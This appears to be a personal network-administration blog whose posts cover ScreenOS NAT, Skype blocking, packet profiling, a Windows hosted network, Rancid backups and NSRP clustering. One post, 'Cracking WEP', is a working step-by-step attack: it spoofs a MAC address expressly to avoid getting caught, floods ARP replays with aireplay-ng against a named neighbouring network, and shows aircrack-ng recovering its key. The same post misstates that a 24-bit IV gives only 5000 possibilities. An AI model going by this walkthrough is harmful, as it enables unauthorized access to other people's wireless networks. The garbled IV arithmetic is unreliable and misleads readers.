Tuesday, February 25, 2014

Policy-based NATing on ScreenOS

Source NATing

I recently had to deploy a firewall for a home user where the VPN address space was limited, and it would be best to not re-IP the LAN devices as only specific destinations would be accessed through the VPN. To accomplish this, I employed some simple static routing and source NATing.

When sending traffic from the LAN through the VPN, because we're using the same addressing space (for this example 10.10.0.0/16) source NATing allows us to have a neutral address for both the source and destination.

If you would like to have more than one host connecting with unique IP addresses, it's best to utilize a DIP pool to use with your NATing; this acts much like a DHCP pool. You can additionally enable PAT (Port Address Translation) which supports up to 64,500 hosts simultaneously. However, a DIP pool is best used (with PAT disabled) when the source port number must remain fixed. When done in this fashion, the SSG will issue one address for the same host for all of it's sessions. Whereas with PAT enabled, each session might receive a unique source address.

If you do not specify a DIP pool, the SSG will translate the source address to the egress (outgoing) interface. When you do this, PAT is automatically enabled. I find this way much easier for our purpose.

So first thing's first, lets define our hosts; because we're connecting from a handful of possible devices who are utilizing DHCP, we're going to just define the entire subnet:
set address "Trust" "192.168.1.0/24" 192.168.1.0 255.255.255.0
set address "DMZ" "10.10.0.0/16" 10.10.0.0 255.255.0.0
The DMZ address here is our remote network.

Now for the routing:
set route 10.10.0.0/16 interface tunnel.1
So anything destined for 10.10.0.0/16 will be routed through the tunnel interface; which just so happens to have an address in that scheme.

Now for the policy and NAT:
set policy from "Trust" to "DMZ" "192.168.1.0/24" "10.10.0.0/16" "ANY" nat src permit log
Any traffic from our local subnet of 192.168.1.0/24 destined for 10.10.0.0/16 will be routed through the tunnel interface after being NATed to the egress interface's IP address; our tunnel interface, which as stated earlier holds an IP in the 10.10.0.0/16 scheme!

For those of you who wish to use a DIP pool, I've got you covered!
set interface ethernet0/1 dip 1 10.10.1.1 10.10.1.254 fix-port
set policy from "Trust" to "DMZ" "192.168.1.0/24" "10.10.0.0/16" "ANY" nat src dip-id 1 permit log
 
For this to work, because the 10.10.0.0/16 network lives on both ends of the tunnel, a route on the head will have to be set to route anything destined for the 10.10.1.0/24 range through the tunnel to our LAN.

The fix-port option in the DIP denotes that PAT will not be used.; remove this option to enable PAT.


To be continued with destination NATs, MIPs and VIPs...


Thursday, November 28, 2013

Blocking Skype on ScreenOS

Unfortunately, ScreenOS doesn't have the same deep packet inspection and application control that Fortinet or even Cisco has. Skype is built around P2P networking and uses dynamic incoming ports and can even fall back on to 80/443 for it's communication. It's design this way for ease-of-use, so that a layer 3 firewall will never stand in the way from you having free VoIP phone calls. However, this can cause some frustration when trying traditionally block it on a firewall using a port-range.

On a Cisco you can utilize NBAR because they've implemented a Skype application classification, and with Fortinet you can use their application control function. But on an old fashioned ScreenOS-based Juniper, you're shit-out-of-luck. There is however a very McGuyver-way to do it.

When a Skype client is connected it must authenticate the username and password with the Skype login server. There are many different Skype login servers using different ports. An obfuscated list of servers is hardcoded in the Skype executable. With this list we can deny outbound traffic.

Can't login, can't use Skype. Simple.

Now there is a list of servers published on Wikipedia, however after some research this appears to be an outdated and pre-Microsoft server list. This is a tested and working list of authentication servers:
64.4.23.0/24
65.55.223.0/24
111.221.74.0/24
111.221.77.0/24
157.55.56.0/24
157.55.130.0/24
157.55.235.0/24
157.56.52.0/24
213.199.179.0/24

Defining your remotes

set address "Untrust" "Skype_64.4.23.0/24" 64.4.23.0 255.255.255.0
set address "Untrust" "Skype_65.55.223.0/24" 65.55.223.0 255.255.255.0
set address "Untrust" "Skype_111.221.74.0/24" 111.221.74.0 255.255.255.0
set address "Untrust" "Skype_111.221.77.0/24" 111.221.77.0 255.255.255.0
set address "Untrust" "Skype_157.55.56.0/24" 157.55.56.0 255.255.255.0
set address "Untrust" "Skype_157.55.130.0/24" 157.55.130.0 255.255.255.0
set address "Untrust" "Skype_157.55.235.0/24" 157.55.235.0 255.255.255.0
set address "Untrust" "Skype_157.56.52.0/24" 157.56.52.0 255.255.255.0
set address "Untrust" "Skype_213.199.179.0/24" 213.199.179.0 255.255.255.0

Blocking your hosts

 The following ACL will deny all hosts in the Trust zone from accessing the Skype servers. If you want to block specific hosts then change/add the source addresses/zones in the policy. For multiple specific hosts you will need to add a line similar to set src-address "192.168.1.1/32".
set policy top from "Trust" to "Untrust" "Any" "Skype_64.4.23.0/24" "ANY" deny log
set dst-address "Skype_65.55.223.0/24"
set dst-address "Skype_111.221.74.0/24"
set dst-address "Skype_111.221.77.0/24"
set dst-address "Skype_157.55.56.0/24"
set dst-address "Skype_157.55.130.0/24"
set dst-address "Skype_157.55.235.0/24"
set dst-address "Skype_157.56.52.0/24"
set dst-address "Skype_213.199.179.0/24"

Friday, November 22, 2013

Packet Profiling on ScreenOS

Occasionally I've had clients report high latency or slowness. I've gone over bandwidth reports and can see long peaks of high usage and their pings come back well over 200ms. Now on a Cisco device you can turn on NetFlow and see who the top talkers are. Unfortunately a lot of people don't know how to do this on a Juniper (ScreenOS).

Recon

The first thing you'll want to do is log into the device, if there is a lot of traffic response times in the terminal may be slow so bare with it. You'll need to enable packet profile then start it up. If packet profiling has been run on the device before it'd be a good idea to clear the existing information as well.
set fprofile packet enable
clear fprofile
set fprofile packet start
By defualt, the profiling buffer is set to nowrap so that the packet profiling will automatically halt when the buffer is full. If you wish to disable this use the command set fprofile packet wrap; this will cause the profiling to continually run until it's manually stopped. Be advised that it will overriding the existing buffer with new information (I believe NetFlow on Cisco operates in a similar fashion)

Now that you have it running, give it some time to gather traffic information.

Analysis

If you decided to turn on wrapping, issue the command set fprofile packet stop. Otherwise you should be good to go. To display the gathered information issue the command get fprofile packet. This will give you the default output, as seen below.
ssg5-> get fprofile packet
packet buffer size(in kilo-packets): 4
total ip packet: 4090
total ip packet time(us): 349668
total none-ip packet: 6
total none-ip packet time(us): 206
    Id  Type    Protocol    Source                Destination        Sport    Dport    Time    Percentage
    1  ip        0x06        192.168.0.1            192.168.1.254    80        2917    71099    20.32%
    2  ip        0x06        4.2.2.2                192.168.1.254    80        2237    52399    14.97%  
    3  ip        0x06        192.168.1.2            192.168.1.254    80        2800    51627    14.75%  
    4  ip        0x06        192.168.1.1            192.168.0.1        49966    80        42703    12.20%  
    5  ip        0x06        4.2.2.1                192.168.1.254    80        1224    34008    9.72%  
    6  ip        0x06        192.168.1.1            4.2.2.2            49949    80        26675    7.62%  
    7  ip        0x06        192.168.1.1            4.2.2.2            49900    80        26235    7.49%  
    8  ip        0x06        192.168.1.1            4.2.2.1            49935    80        17235    4.92%  
    9  ip        0x01        192.168.1.2            192.168.1.254    8        0        3467    0.00%  
    10 ip        0x32        192.168.1.2            192.168.1.254    44562    48388    2527    0.00%  
Blogger isn`t wide enough to display this properly. I should find a new theme...I`ve also changed the IPs to meaningless one for the sake of this post. Don`t want anyone`s networks getting ID`d ;)

So take a look at the top users and see if you can see any patterns, in the example below we can see that 192.168.1.1 has a session open to 192.168.0.1. At the same time there is a session open from 192.168.0.1 to 192.168.1.254(which happens to be our modem).

Now we'll want to look at the ARP for our suspected culprit ( 192.168.1.1) and do a look up on both the MAC and the remote IP (192.168.0.1). I use Wireshark`s OUI Lookup Tool.

From here we can trace the MAC and IP through the our MAC and ARP tables to find which switch (or AP, usually) it`s hanging off of.

Once stopped the packet profiling settings will still be in the configuration (much like NetFlow), however if you wish to remove it completely use the unset fprofile packet enable command.

Reference

clear fprofile

get fprofile packet ip proto top <NUMBER>
get fprofile packet ip proto all
get fprofile packet ip proto
get fprofile packet ip src-ip top <NUMBER>
get fprofile packet ip src-ip all
get fprofile packet ip src-ip
get fprofile packet ip dst-ip top <NUMBER>
get fprofile packet ip dst-ip all
get fprofile packet ip dst-ip
get fprofile packet ip sport top <NUMBER>
get fprofile packet ip sport all
get fprofile packet ip sport
get fprofile packet ip dport top <NUMBER>
get fprofile packet ip dport all
get fprofile packet ip dport
get fprofile packet ip top <NUMBER>
get fprofile packet ip all
get fprofile packet ip
get fprofile packet none-ip proto top <NUMBER>
get fprofile packet none-ip proto all
get fprofile packet none-ip proto
get fprofile packet none-ip src-mac top <NUMBER>
get fprofile packet none-ip src-mac all
get fprofile packet none-ip src-mac
get fprofile packet none-ip dst-mac top <NUMBER>
get fprofile packet none-ip dst-mac all
get fprofile packet none-ip dst-mac
get fprofile packet none-ip top <NUMBER>
get fprofile packet none-ip all
get fprofile packet none-ip
get fprofile packet top <NUMBER>
get fprofile packet all
get fprofile packet
get fprofile

set fprofile packet enable

Sunday, November 3, 2013

Configuring a wireless bridge on Windows

I was recently at my girlfriend's place where a 3 year old D-Link gateway is being used. I've forever had some connectivity issues with this device but I can usually manage albeit a request resend here and there. Well my PS3 didn't want to connect at all through wireless so I thought I'd pass the traffic through my laptop!

Open a new command prompt as an Administrator and issue the following command:
netsh wlan set hostednetwork mode=allow ssid=JustinLaptopAP key=12345678
This will create a new virtual interface on your machine.

Start the hosted network:
netsh wlan start hostednetwork
I had issues after a reboot that it wouldn't start; you'll have to go into Device Manager and find the Network Adapter and manually enable it.

Now open up Network and Sharing Centre and navigate to the Network Connections page (by clicking "Change adapter settings" on the left). Once there you'll see your new adapter (mine is "Local Area Connection* 14"), you'll notice it has a wireless signal icon.

Right-click your default wireless adapter and go to Properties>Sharing and check the box labeled "Allow other network users to connect through this computer's Internet connection", selecting your newly created adapter from the drop-down menu.

And voila! You'll be able to see the SSID from all your devices and connect through it to the Internet.

You'll have to issue the start command whenever you reboot your computer, but that can be solved with a small batch file; if you're using it all the time I'd suggest just having it auto-run at start-up.

Cheers!

Saturday, June 1, 2013

Cracking WEP

Most home routers these days are defaulted to use WPA encryption (which can be cracked, but we'll be covering that later) but most older ones (a lot DLink ones I've noticed) use WEP. WEP is very insecure as you'll see in about ten minutes when you crack it.

First you'll want to boot up Backtrack or Kali; you could theoretically use any linux-distro and install the tools separately, but who has time for that. I personally keep Kali on an SD card and boot into live-mode on my laptop when I need it.

Hiding Your Tracks

Because network cracking can you get in trouble, we'll want to hide our MAC address before we begin. BT (I'm going to refer to both Backtrack and Kali as BT from now on) has a nifty tool install for this called simply macchanger.
airmon-ng stop
ifconfig wlan0 down
macchanger —mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0
This will stop airmon-ng from monitoring, shutdown your wlan0 interface, change it's MAC address to 00:11:22:33:44:55 (how original), then start up the monitoring again. Turning on airmon-ng gives us a virtual interface, mon0, which we will be using from here on out.

Reconnaissance 

We'll first want to scan area within range for available wireless networks. You should see at least a few pop up as there is an overabundance of wireless networks..everywhere. To start the scan, open up a new terminal and execute airodump-ng. Press Ctrl-C to kill it after you determine it's not going to find anymore WLANs.
airodump-ng

CH  7 ][ Elapsed: 48 s ][ 2013-06-01 20:49                                  
                                                                             
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                             
 00:22:6B:4D:13:0A  -49      119       17    0   6  54   WEP  WEP         dotscafe
 B0:E7:54:A7:B7:A9  -82       56        0    0  11  54 . WEP  WEP         BELL237
 34:EF:44:F8:6D:A9  -88       11        0    0   9  54 . WPA  TKIP   PSK  abby
 78:CD:8E:66:3E:51  -89        1        1    0  10  54e  WPA  TKIP   PSK  dave
                                                                             
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe  
                                                                             
 00:22:6B:4D:13:0A  60:A1:0A:1E:0B:5D  -63    0 -54      0       10          
 00:22:6B:4D:13:0A  98:0C:82:8A:52:38  -83    1 -24      0        4                       
 B0:E7:54:A7:B7:A9  38:AA:3C:75:83:E3  -83    0 - 1      0        1          
 B0:E7:54:A7:B7:A9  38:AA:3C:75:83:E3  -83    0 - 1      0        1  

Data Collection

As you can see there's a plethora of information about each AP. The things we're most concerned with is the BSSID and the Channel (CH) it's operating on. We can run airodump-ng again, this time giving it some specifics. The bell237 in the command is the file name were the traffic capture is going to be dumped; for consistency's sake, I generally keep the file name the same as the ESSID.
airodump-ng -c 11 -w bell237 --bssid B0:E7:54:A7:B7:A9 mon0
CH 11 ][ Elapsed: 2 mins ][ 2013-06-01 21:01                                
                                                                             
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                             
 B0:E7:54:A7:B7:A9  -78  96     1254    50485    0  11  54 . WEP  WEP         BELL237
                                                                             
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe  
                                                                             
 B0:E7:54:A7:B7:A9  00:11:22:33:44:55    0    0 - 1   52425   107860          
 B0:E7:54:A7:B7:A9  28:6A:BA:17:AD:65  -87    0 - 1      0        1            
 B0:E7:54:A7:B7:A9  38:AA:3C:75:83:E3  -83   11 - 1      0      254          
 B0:E7:54:A7:B7:A9  28:6A:BA:17:AD:65  -87    0 - 1      0        1  

Now at this point, you could just let airodump-ng run and gather the air packets on it's own. But we both know by looking at how fast that Data number is climbing it'll be a long wait. To speed things along we're going to associate ourselves with the AP and start a flood. You'll wait to leave airodump-ng running while you do this, so open up a new terminal. The -1 option sets the attack mode to a fake authentication and the 0 is auto number of packets per burst (the default is 1).
aireplay-ng -1 0 -a B0:E7:54:A7:B7:A9 -h 00:11:22:33:44:55 -e BELL237 mon0
The interface MAC (XX:XX:XX:XX:XX:XX) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 00:11:22:33:44:55
20:54:05  Waiting for beacon frame (BSSID: B0:E7:54:A7:B7:A9) on channel 11
20:54:05  Sending Authentication Request (Open System) [ACK]
20:54:05  Authentication successful
20:54:05  Sending Association Request [ACK]
20:54:05  Association successful :-) (AID: 1)

Now that we're authenticated we can begin to flood. We'll be flooding ARP-requests, which is what the -3 option in our command denotes.
aireplay-ng -3 -b B0:E7:54:A7:B7:A9 -h 00:11:22:33:44:55 mon0
You'll soon see that terminal overflow with ARP-requests; just let it go. If we go back to our other terminal where we left airodump running you'll see the #Data column sky-rocket, the number represents the number of IVs (or Initialization Vectors) that we have collected so far, each WEP data packet has a 3-byte IV. We'll want to collect a heap of them to use because the WEP IV is only 24-bit, meaning it'll only have 5000 possibilities. And the flood has begin. Let it go till it hits about 50,000. When it gets there, you can go ahead and kill both applications (but leave don't close the windows).


Attack

In one of the two terminals (or a new one if you prefer) we'll need to load our capture file from airodump into aircrack-ng to actually crack the IVs we collected earlier. The IVs are encrypted and aircrack will attempt to run them against a set of statistical attacks. In the event that aircrack fails (and believe me it can), just go back to the two terminals we were using for airodump and aireplay and run them again, this time until twice as many IVs have been captures (now you know why I told you not to close the windows!).

aircrack-ng -b B0:E7:54:A7:B7:A9 bell237-01.cap
Opening bell237-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 50484 ivs.

                                    Aircrack-ng 1.1

                    [00:00:02] Tested 1388233 keys (got 50338 IVs)
   KB    depth   byte(vote)
    0    0/  1   28(63232) 8A(59136) 2F(58880) 93(58880) F0(58624) 88(58368)
    1    0/  1   55(70656) 12(59648) 21(58880) F8(58880) 9A(58368) CF(58368)
    2    0/  2   07(62464) E4(61696) 9E(60672) 7C(58624) 33(57088) 6E(57088)
    3    0/  1   74(71168) 53(60416) D9(59392) E9(58112) ED(57856) 0E(57344)
    4    0/  1   30(74752) 43(58368) 68(58368) 5C(57600) A2(57600) 52(57088)
    5    0/  1   19(63488) 4D(61184) AC(60928) 05(58624) 5A(58624) 89(58624)
    6    0/  1   75(74752) 29(60160) 4D(59904) 86(59904) 30(59392) 57(58880)
    7    2/  4   B4(60928) 4E(60416) 54(60416) 3E(60160) 47(58368) B8(58112)
    8    1/  3   46(60672) 9F(59904) 05(58880) 27(58624) 2B(58368) BD(58112)
    9    0/  1   48(66048) 86(60160) A2(60160) 32(57856) AE(57600) EE(57600)
   10    0/  1   54(62464) DF(58624) FD(57856) 7A(57600) 46(57344) 0C(56832)
   11    0/  1   64(71936) 48(59392) 11(59136) 66(59136) 86(57600) 88(57600)
   12   26/ 12   ED(55040) 83(54784) 90(54784) C4(54784) 05(54528) 14(54528)
     KEY FOUND! [ 28:55:07:74:30:19:75:98:46:48:54:64:38 ]
Decrypted correctly: 100%

And that's it! Pop the key (without the colons) into the authentication prompt for the wireless network and you're set. This just shows you how easy it is to get into someone else's LAN, make sure you keep your private network protected with at least WPA and if possible WPA2.

Friday, May 31, 2013

Installing and configuring Rancid

If you have more than a couple devices in your network, you might find backing up conifig files to be a tedious task. If you have more than a handful (which most network admins will); it can become a quest..

This is where Rancid comes in, it's a small application for Linux which lets you automate the process You can also make it execute commands on the same remote devices automatically (good for clearing tunnels or other resets). It's also good because it supports Fortinet FortiGates (which for their all-in-one nature and cheapness are on the rise). But the most difficult thing I found was trying to get it installed and configured properly.

First you'll want to install your favourite flavour of linux; I'll be using Ubuntu simply due to it's popularity and available repositories.

Open up a terminal window and get to installin'
sudo apt-get install rancid
This will install Rancid onto your machine into /var/lib/rancid. It will also create a new user called rancid to be used with the application. I couldn't find any documentation on what the default password is for this user (however at least one person suggested it was rancid, that didn't work for me) so we'll want to go ahead and change it.
sudo passwd rancid
You'll be prompted to input a new password and confirm it, for simplicity's sake I just stuck with rancid.

Now we can start to configure Rancid itself. It nests devices in groups, you can execute commands to a group as a whole which makes management a lot easier. To add a group you'll have to edit the rancid.conf file, you can find this in /etc/rancid/

You'll see a bunch of commented lines in there already; we need to add one to the bottom. If you're not familiar with VI, use the arrow keys to get down to the line you want to input on, press i to enter INSERT mode and begin typing. Once you're finished, hit ESC and type :wq to write to the file and quit VI and return to the terminal.
vi /etc/rancid/rancid.conf    LIST_OF_GROUPS="toronto montreal vancouver"   :wq
Each group name is seperated by blank space, you can put in as many as you like; we'll be adding our devices to these groups afterwards.

Now that we have our groups in order, we need to generate the CVS files for them. We'll want to run this command as our rancid user.
sudo su -c /var/lib/rancid/bin/rancid-cvs -s /bin/bash -l rancid
This will generate a directory for each of the groups you defined earlier in /var/lib/rancid/
Each directory will contain a router.db file, this is where we'll be storing our device information
So back into VI we go!
sudo vi /var/lib/rancid/toronto/router.db
The router.db files have a specific syntax and if you mess it up, it won't work; so be careful!
For a basic entry you'll need to input the following
#toronto-c1811
192.168.2.1:cisco:up
This will point at a Cisco device with the IP of 192.168.2.1 and tell Rancid that the device is up. Each variable is separated by a colon. If the status is set to down the script will ignore that device. Rancid supports the use of FQDNs in place of IP addresses, however I do not use them. Lines beginning with # are comments, it would be good habit to comment each device you add (even if you're using an FQDN). For the entire list of options refer to the man page from Shrubbery Networks

So Rancid knows where to find our devices, but like hell it'll be able to login; so we need to define that as well. Rancid keeps all it's login information in .cloginrc located in /var/lib/rancid/. When I installed Rancid, this file wasn't auto-generated (apparently there's a sample-cloginrc but I wasn't able to find it on my machine) so I had to create it with VI:
sudo vi /var/lib/rancid/.cloginrc
Quick linux note: anything starting with a period is a "hidden" file and will not show up with ls

We should have a blank VI file open right now, get into INSERT mode and put in your box's login creds.
add method 192.168.2.1 ssh
add user 192.168.2.1 cisco
add password 192.168.2.1 cisco cisco
The first line will define what protocol to connect with, in the case you have SSH and Telnet enabled (which I would advise against but whatever)
You can put in:
add method 192.168.2.1 ssh telnet
Rancid will first attempt to connect on SSH, then fall back to Telnet in the event of a failure. The second line is the username, and the third is both the password and the enable password. Now there is a lot of other options you can put here which I don't personally use, but feel free to browse them on the man page.

I found that for Rancid to run we'll have to give our rancid user ownership of rancid install directory and turn our new login file into read/writeble (but not exedcuteable) only by it's owner (which we're about to make rancid)
sudo chmod 600 /var/lib/rancid/.cloginrcsudo 
chown -R rancid:rancid /var/lib/rancid
Now we're ready to run Rancid!
sudo su -c /var/lib/rancid/bin/rancid-run -s /bin/bash -l rancid
It should take a little bit to run (depending on how many devices you have an how big their config files are)
Once it's finished you can check the log in /var/log/rancid and check your config file in /var/lib/rancid/toronto/configs/192.168.2.1

And thats it! Put it on a cron job and you'll never have to do it manually again.

Observium Integration

This was a very annoying task to get to work, but once it's work its bloody brilliant.
You'll have to do things a little differently because Observium uses hostnames opposed to IP addresses for adding devices. So I went and edited my /etc/hosts file to reflect the devices I was adding.

Open your config file for Observium and point towards your Rancid configs:
vi /opt/observium/config.php 
$config['rancid_configs'][]              = '/var/lib/rancid/toronto/configs/';
$config['rancid_ignorecomments']        = 0;
Now provided your config files are showing up with hostnames opposed to IP addresses. Everything should  work. However this is where I got stuck, and it's the most linux of problems; user groups. Observium will be accessing the Rancid config  using the apache's www-data user, which isn't in our rancid user group.
usermod -a -G rancid www-data
Now once you restart your apache service (service apache2 restart) you should be good to go! You'll know its working because Observium will add a config tab to the device page.

NOTE: I had installed Rancid on top of Turnkey's Observium distro and found that telnet was not installed by default; apt-get install telnet to fix.

 

Monday, May 27, 2013

Implementing NSRP

NetScreen Redundancy Protocol (NSRP) is a proprietary protocol that provides configuration, run time object (RTO) redundancy, and device failover for NetScreen devices in a high availability (HA) cluster.

Connection

Juniper has pre-configured their more powerful devices with an HA zone. This zone allows the devices in the cluster to transfer and receive NSRP data and information from one another.

The SSG140 and above have this zone pre-installed. For devices that do not natively support it, a license from Juniper and manual configuration is required.

On some NetScreen devices, there are multiple dedicated (physical) HA interfaces. Each interface handles different kinds of HA communication as well as act as a back-up interface should one fail. By default, HA1 handles control messages and H2 handles data messages.

On NetScreen devices that do not have dedicated HA interfaces, you must bind one or two physical ethernet interfaces to the HA zone. For this demonstration we'll be using ethernet1/4.
set int eth1/4 zone "HA"

The devices will now know which interface to listen for NSRP messages. Input the NSRP commands to set up the cluster; the cluster ID must be identical on both devices. An NSRP cluster acts similar to a cluster in any other technology; it simply groups devices together.
set nsrp cluster id <#>
set nsrp cluster name <name>

Priority

A VSD group is a set of physical devices that make up a single virtual security device (VSD). One physical device acts as the primary of the VSD group. The virtual security interface (VSI) of the VSD is bound to the physical interface of the primary device. The other physical device acts as the backup. A VSD acts similar to a RAID array; a single virtual device made up of a cluster of physical devices.

We need to tell the firewalls which one is the master, and which one is the backup. The priority of the preferred backup should be a higher value, as the lower priority takes precedence. We want the device we're configuring to be the master but because we don't want it to take over until we're ready, we'll go ahead and set the priority to 200.
set nsrp vsd-group id 0 priority 200

Ctrl-S

At this point we'll want to save the configurations we've made so they don't conflict when loading the mirror configuration over.
save

Ctrl-C

Because we're configuring a brand new ISG, no extensive config exists. But we've set up NSRP already, and our backup has a configuration, so lets just copy that over.
exec nsrp sync global-config save
NOTE: Because this is an exec command, it has to be issued via a console connection

After this command is input, the device needs to be reset by simply issuing the reset command. Upon reboot, we should go through the configuration to make sure everything is correct. After POST it will tell you which commands (if any) failed, but it never hurts to be thorough.

Sync

Defining a NetScreen device as a member of a cluster and specifying RTO synchronization automatically enables the local device to send and receive RTOs. By default, NSRP cluster members do not synchronize RTOs. Before enabling RTO synchronization, you must first synchronize the configurations between the cluster members. Unless the configurations on both members in the cluster are identical, RTO synchronization might fail.
set nsrp rto-mirror sync
Run-time objects (RTOs) are code objects created dynamically in memory during normal operation. Some examples of RTOs are session table entries, ARP cache entries, DHCP leases, and IPSec security associations (SAs). In the event of a failover, it is critical that the current RTOs be maintained by the new master to avoid service interruptions. To accomplish this, RTOs are backed up by the members of an NSRP cluster. Working together, each member backs up the RTOs from the other, which allows RTOs to be maintained should the master of either VSD group in an active/active HA scheme step down.

Taking Control

Enable the preempt option for a device that you want to be master of the VSD group (which is the one we're configuring). Normally, that device also has the better priority number (closer to 1). In the event of a failover resulting in the new master having a lower priority than the previous master, when the previous master—with the preempt option set—becomes operable and eligible again, it automatically regains mastership of the VSD group. So basically, if our master fails and the backup takes over, but the master recovers it will regain control of the cluster. Because we are configuring a NEW master, once connected and configured it will automatically take over. We'll also want to lower the priority back down to 1.

WARNING: Before making this device the master we'll have to recable
set nsrp vsd-group id 0 priority 1
set nsrp vsd-group id 0 preempt 

Monitor

Now what we have configured the device for NSRP, we need to tell it which connection to monitor. The interface we choose will typically be the WAN interface, if this interface goes down the fail-over initiates and the back-up device takes over control of the VSD.
set nsrp monitor int eth1/3

Restoring Order

Everything is configured as it should be. Now we'll just want to make some tweaks.
First we would want to change the hostname of the device, so we can distinguish between the two.
set hostname <hostname>
If we want to have remote access to the device we'll need to setup management IP interfaces for us to use.
set interface ethernet1/1 manage-ip 192.168.1.2
set interface ethernet1/3 manage-ip 192.168.2.1
Now we'll be able to remote in through 192.168.1.2 and 192.168.2.1

We'll also need to change the speed and duplex settings on the interfaces as these do not get copied over
set int ethernet1/1 phy full 100mb
set int ethernet1/3 phy full 100mb
This will set eth1/1 and eth1/3 to full/100.

And that's it! We're finished and your device should be up and running as before.